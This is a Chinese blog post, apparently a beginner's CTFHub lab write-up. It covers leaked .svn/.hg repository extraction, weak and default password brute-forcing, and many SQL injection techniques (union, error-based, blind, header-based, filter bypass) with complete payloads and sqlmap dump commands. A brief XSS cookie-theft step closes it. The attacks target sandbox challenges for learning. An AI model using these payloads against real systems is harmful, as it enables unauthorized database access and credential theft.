初识CTF Day2 CTFHUB密码口令&SQL注入

前言
接着上次的继续往下做
git泄露结束了,现在开始看svn和hg
正文
首先看一下信息泄露部分的svn和hg
这里使用到一个工具dvcs-ripper
下载地址如下
https://github.com/kost/dvcs-ripper.git
(注意:该工具一定要配置环境,具体如下图,或者查看readme.md)
配置本地环境
安装好工具就简单了,我是在kali虚拟机里进行使用的
具体指令如下

  1. cd dvcs-ripper-master
  2. ./rip-svn.pl -v -u http://challenge-d12187d93ef7a543.sandbox.ctfhub.com:10800/.svn/
  3. ls -a

指令1:转到工具的文件夹下
指令2:运行rip-svn.pl 指定地址为题目地址/.svn/
指令3:查看文件夹下的所有内容
效果见下图:
svn效果图进入.svn文件夹后查看了wc.db,找到了疑似flag的文件,但是结果却
。。。
再进入到pristine文件夹的48文件夹下
找到了flag
svnflag
hg的步骤也大致相同就不过多罗嗦了,见下图
hg1hg2
在网页上进入flag的txt文件即可得到flag

接下来进入密码口令的部分

密码口令

弱口令

查看源代码,没有什么提示
随机测试几个弱口令admin 123456没有成功
接下来上burp进行密码爆破
burp1加载了一个小型的弱口令字典几秒钟就测出来了一个返回长度不一样的
很有可能就是密码所以查看下返回包,果不其然
burp2也可以到页面进行登录
login

默认口令

这个题目我找的好费劲,可能是我根本不会找,最终还是屈服在了csdn的大佬博客之下
eyougw
admin@(eyou)
flag

SQL注入

这里使用hackbar进行注入,因为url里不是很好操作

整数型注入

?id=1 and 1=1 回显正常
?id=1 and 1=2 回显错误
此处可能具有SQL注入漏洞

?id=1 order by 1 回显正常
?id=1 order by 2 回显正常
?id=1 order by 3 回显错误
此处有两个字段

最初的原型是这样的
?id=1 and 1=1 union select 1,2
但是因为只有一个回显点所以后面的联合查询结果会被前面的数据覆盖
所以需要更改前面的数据,使得前面数据不能查找成功,在这里可以更改id的传参为浮点数(小数)
?id=1.1 and 1=1 union select 1,2
?id=1.1 and 1 union select 1,2
也可以更改后面的等式使其不成立
?id=1 and 1=2 union select 1,2
这样根据页面的回显得到了回显点为第二位,即2的位置

回显点
查询一下所在库库名
?id=1.111 and 1 union select 1,database()
库名
现在知道库名,然后需要爆出表名
这是需要了解一个叫做系统自带库的东西,里面存储了所有的表名字段名等
?id=1.111 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
其中limit是因为只有一个回显点所以需要设置下回显数据条数防止遗漏数据
改为1试试

?id=1.111 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1)

改为2发现就没有数据了
此时得知了有flag和news两张表

然后就是查看字段名
开始的时候我以为我的语句错误了,因为都是flag。。。
?id=1.111 and 1 union select 1,(select column_name from information_schema.columns where table_name=‘flag’ and table_schema = database() limit 0,1)
通过更改limit的第一个参数可以知道只有一个名为flag的字段

最后就是最简单的一步了
取出数据
?id=1.111 and 1 union select 1,(select flag from flag)
flag
这是手注的过程,再使用sqlmap进行注入
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1
sqlmap1但是sqlmap总是喜欢把题目认成时间盲注。。。
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1 --tables
sqlmap2我直接**–tables**发现他有很多库,就先看下所在库就好了
指定库名指定表名
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
sqlmap3拿取数据
python sqlmap.py -u http://challenge-57e3cdbfc1861e51.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
sqlmap4(这里谨记,在真实的测试环境中千万不要取出数据,因为一般渗透测试仅仅证明有SQL注入即可,取出重要的私密的数据会触犯法律的,因此我把–dump称为银手镯召唤令(doge))

字符型注入

说真的当看到题目标题的时候我是懵的,我没了解过什么是字符型注入,但是进入题目的时候我了解到了。。。
这不就是注释了一下嘛。。。
通常绕过注释的方法就是前面加对应引号进行闭合,后面-- 进行注释
正常来讲不论是ctf还是渗透测试都是不会把查询的数据库语句回显出来的
这里属于是降低难度
话不多说,首先进行前闭合后注释(sx无太实际的意义)
因为不太舍得环境续期的费用所以就简单写一下了,大致都和上面的一样
?id=1’ and 1=1 – sx

?id=1’ order by 2 – sx

?id=1.1111’ and 1 union select 1,2 – sx

?id=1.1111’ and 1 union select 1,database() – sx

?id=1.1111’ and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1) – sx

?id=1.1111’ and 1 union select 1,(select column_name from information_schema.columns where table_name=‘flag’ and table_schema =‘sqli’ limit 0,1) – sx

?id=1.1111’ and 1 union select 1,(select flag from flag) – sx

这里有点遗憾,本以为第一条flag是上一题的,可以使用下limit,但是没想到直接就提交成功了
2

报错注入

所谓的报错注入就是通过网页给出的报错信息来获取数据
同样的首先(这里就先不测试他是否存在注入了)
?id=1 order by 2
存在两个字段
再往下面进行会使用到一个函数extractvalue(),
他的作用是使用XPath表示法从XML字符串中提取值
但他若是语法不符合xml的语法就会发生错误出现报错信息例如在语句前加上~(0x7e)
?id=1 and extractvalue(1,concat(0x7e,database()))
(concat()是mysql中拼接字符串的函数)
这样可以报出所在库库名,如下图
database()接下来就是快乐的注入阶段了(就不做过多解释啦)
?id=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))

?id=1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘flag’ and table_schema = database() limit 0,1)))

?id=1 and extractvalue(1,concat(0x7e,(select flag from flag limit 0,1)))
问题所在在这个位置发现}没了。。。。
可能是回显长度有限制,所以使用mid()函数

?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16)))
前半部分
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17,100)))

后半部分
拼接到一起即为flag

布尔盲注

这种注入就是仅仅通过页面是否显示正常来判断语句的查询结果
这种注入方式一般通过sqlmap进行,但是sqlmap没什么技术含量,所以这里使用手注的方式进行注入,因为太过无聊所以使用burp加快进程
第一步测库名长度
?id=1 and length(database())>1
database()length这里不难看出长度在大于3时是查询成功的,但是当大于4时就查询失败了,所以库名长度为4

接着查询所在库库名
?id=1 and ascii(substr(database(),1,1))=1
将burp的positions调成bomb的模式,添加substr的第二参数为第一参数,添加等号后的值为第二参数
payload都为纯数字,第一个为1 ~ 4,第二个为32 ~ 128,步长均为1
ascii跑完发现了这四个字母对应的ascii码,对应ascii码表可知库名为sqli

然后再利用子查询查找表名
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1
table这里可以看出表的长度为4

使用相同的操作可以测出第一个表的表名
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1
table这里通过对照ascii码表可知第一个表的表名为flag
同样的方法,通过更改limit的第一参数可知第二个表的表名为news
00
table2

接下来查询字段名
?id=1 and length((select column_name from information_schema.columns where table_name=‘flag’ and table_schema = database() limit 0,1))=1
发现字段名长度为4
column?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ and table_schema = database() limit 0,1),1,1))=1

column对照ascii码表查询可知字段名为flag

最后取数据
长度
?id=1 and length((select flag from flag))=1
在这里插入图片描述
?id=1 and ascii(substr((select flag from flag),1,1))>1
在这里插入图片描述但是这里翻译起来实在时太过繁琐,所以建议使用sqlmap
在这里插入图片描述使用sqlmap大约三分钟就出来了
python sqlmap.py -u http://challenge-4f0fc86d13548df4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
在这里插入图片描述

时间盲注

时间盲注主要利用的是sleep()函数,通过网页返回时间的长短来进行判断
核心函数:
sleep()
if()
进入靶场首先测试一下有没有引号闭合
?id=1 and sleep(2)
sleep(2)成功执行,可见这里没有引号闭合

接着执行下一步,判断数据库长度
?id=1 and if(length(database())>1,sleep(2),1)
因为盲注类型的都比较麻烦(但是并不困难),所以就不多解释了
手注的方法也和布尔盲注差不多,所以就直接上sqlmap了
因为库实在太多了,所以偷懒一下,看看库名是不是sqli
?id=1 and if(database()=‘sqli’,sleep(2),1)
发现确实是的
所以
python sqlmap.py -u http://challenge-404be717a0f4bce9.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
python sqlmap.py -u http://challenge-404be717a0f4bce9.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
python sqlmap.py -u http://challenge-404be717a0f4bce9.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
sqlmap(还有,注意提交flag的时候要去掉首尾的空格。。。刚刚吓我一跳)

MySQL结构

这个题目就是之前学习的一个试炼
不多说了,直接手注语句如下
?id=1 order by 2

我才发现这里是两个回显点,那么这次就用第一个做一下试试
?id=1.11 and 1 union select database(),database()
–>sqli

?id=1.11 and 1 union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2
–>news

?id=1.11 and 1 union select (select table_name from information_schema.tables where table_schema=database() limit 1,1),2
–>gthlzybdoi

?id=1.11 and 1 union select (select column_name from information_schema.columns where table_name=‘gthlzybdoi’ and table_schema = database() limit 0,1),2
–>dymoqcobev

?id=1.11 and 1 union select (select dymoqcobev from gthlzybdoi),2
–>ctfhub{7f38e2590b98487df54e6f62}

sql

Cookie注入

看到名字就是在cookie里面进行构造
这里可以到burp里面去进行
1发现更改id可以产生不同的结果,这就快乐了
不多说了,直接改就完事了
id=2 order by 2
id=2.333 and 1 union select 1,2
2
id=2.333 and 1 union select 1,database()
–>sqli

id=2.333 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
–>ibnsnvyihm

id=2.333 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1)
–>news

id=2.333 and 1 union select 1,(select column_name from information_schema.columns where table_name=‘ibnsnvyihm’ and table_schema = database() limit 0,1)
–>wzkqyfitqh

id=2.333 and 1 union select 1,(select wzkqyfitqh from ibnsnvyihm)
–>ctfhub{4d3010b18317673b7030dc56}

3

UA注入

UA注入就是在User-Agent:位置进行注入
User-Agent本来是记录设备的,但是可能会拼接到数据库里产生注入
1这里其实也是一样的,UA的值就是传参
那就开始注入吧
1 order by 2

1.1 and 1 union select 1,2

1.1 and 1 union select 1,database()
–>sqli

1.1 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
–>cqdqcejbke

1.1 and 1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1)
–>news

1.1 and 1 union select 1,(select column_name from information_schema.columns where table_name=‘cqdqcejbke’ and table_schema = database() limit 0,1)
–>fgmnqaguyh

1.1 and 1 union select 1,(select fgmnqaguyh from cqdqcejbke)
–>ctfhub{e43ee4c46262c8cbb68224ae}

2

Refer注入

其实也和上面那两道题差不多就是在Refer的位置进行注入
1最开始我抓了个包,但是没有看到Referer,所以我就给他加了一个(doge)

那就开始吧
2 order by 2

2 and 1=2 union select 1,2

2 and 1=2 union select 1,database()
–>sqli

2 and 1=2 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
–>news

2 and 1=2 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1)
–>xsxllqhlry

2 and 1=2 union select 1,(select column_name from information_schema.columns where table_name=‘xsxllqhlry’ and table_schema = database() limit 0,1)
–>ivalbaqcbr

2 and 1=2 union select 1,(select ivalbaqcbr from xsxllqhlry)
–>ctfhub{84fe71ea3b7e501e81743836}

2

过滤空格

通常在渗透测试中会有对select,and ,+,空格,单引号等
这些都是网站应有的安全防护,因为正常的用户是不会没事写个sql语句的
话不多说,先进入靶场
不管他过滤什么,先排个序
1
他管我叫Hacker,但这真的太抬举我了,哈哈哈
这里他提示说过滤了空格,所以可以使用/**/进行绕过

?id=1/**/order/**/by/**/2

2发现显示正常了,那么就随便注入一下啦

?id=1.1/**/and/**/1/**/union/**/select/**/1,2
?id=1.1/**/and/**/1/**/union/**/select/**/1,database()

–>sqli

?id=1.1/**/and/**/1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)

–>uosqyayzur

?id=1.1/**/and/**/1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1)

–>news

?id=1.1/**/and/**/1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='uosqyayzur'/**/and/**/table_schema/**/=/**/database()/**/limit/**/0,1)

–>nummztzzwy

?id=1.1/**/and/**/1/**/union/**/select/**/1,(select/**/nummztzzwy/**/from/**/uosqyayzur)

–>ctfhub{1d8a1bfefbb0875960edd452}

3(提示:不论是cookie还是ua或是refer都是head注入的一种,可以使用不同的软件进行测试,根据burp的版本不同可以head部分的参数前面都会有个空格记得加上,如果不加可能会有问题)

其实我看到ctfhub这一模里还有其他的很多注入
0不知为何官方给删除了,希望可以多加点注入的题目,毕竟不只是这几种
个人推测,那个where可能是根据条件进行查找;and/or应该是在注入的时候and有时会不好使所以可以换成or试试;order by 应该就是排序。。。;
update应该是和报错注入有一定关系,类似于updatexml();二次注入可能是内联注入吧,也就是子查询;insert注入应该和head注入有关,因为head中的内容可能会插入到数据库中。。。
以上只是随便猜猜,若是官方更新了其他注入,我会在本文中进行追加的

后话
看了下xss的靶场,发现就一道题,所以就顺手做了
到xss平台上创建项目,勾选一个基础模块(能拿到cookie的那种)
然后在第一个框把js代码粘贴过去(因为没有过滤所以随便哪个都可以)
再然后,复制url地址,放到第二个框中发送,就可以看到项目中出现了一个内容,里面的cookie值中有ctfhub{******},如下图
1
写在最后
首先感谢各位可以看到最后,这两天在补作业和考试,耽误了一些时间,所以鸽了好几天,往后还会继续更新的,感谢大家的支持
(看到有十多个人浏览过我甚是欣慰,这原来真的有人看,感谢感谢)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值